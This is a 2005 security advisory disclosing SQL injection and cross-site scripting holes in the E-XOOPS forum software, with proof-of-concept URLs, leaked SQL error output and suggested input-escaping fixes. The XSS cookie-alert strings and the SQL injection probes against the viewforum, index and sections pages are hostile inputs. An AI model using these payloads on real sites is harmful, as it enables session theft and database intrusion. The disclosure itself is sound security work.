Dcrab 's Security Advisory http://icis.digitalparadox.org/~dcrab http://www.hackerscenter.com/ Severity: High Title: Multiple Sql injection, and multiple XSS vulnerabilities in Easy Community Management System Forum (E-XOOPS) Date: March 28, 2005 Summary: There are multiple sql injection, xss vulnerabilities in the Easy Community Management System Forum (E-XOOPS) Vendor: E-Xoops Vendor website: www.exoops.info Proof of Concept Exploits: http://localhost/modules/newbb/viewforum.php?sortname=p.post_time&sortorder=ASC&sortdays=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&forum=25&refresh=Vai Pops cookie http://localhost/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E Pops cookie http://localhost/modules/newbb/index.php?viewcat='SQL_INJECTION SQL ERROR AND POSSIBLE INJECTION Error SELECT f.*, u.uname, u.uid, p.topic_id, p.post_time, p.subject, p.icon FROM e_xoops_bb_forums f LEFT JOIN e_xoops_bb_posts p ON p.post_id = f.forum_last_post_id LEFT JOIN e_xoops_users u ON u.uid = p.uid WHERE f.cat_id = \'SQL_INJECTION ORDER BY f.cat_id, f.forum_name http://localhost/modules/sections/index.php?op=viewarticle&artid=9%2c+9%2c+9 SQL ERROR AND POSSIBLE INJECTION Errore Numero: 2 [Attenzione] Message errore: mysql_fetch_row(): supplied argument is not a valid MySQL result resource In File: /var/www/*************/09/class/database/mysql.php On Line: 151 Errore Numero: 2 [Attenzione] Message errore: mysql_fetch_row(): supplied argument is not a valid MySQL result resource In File: /var/www/*************/09/class/database/mysql.php On Line: 151 Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems. Author: These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php.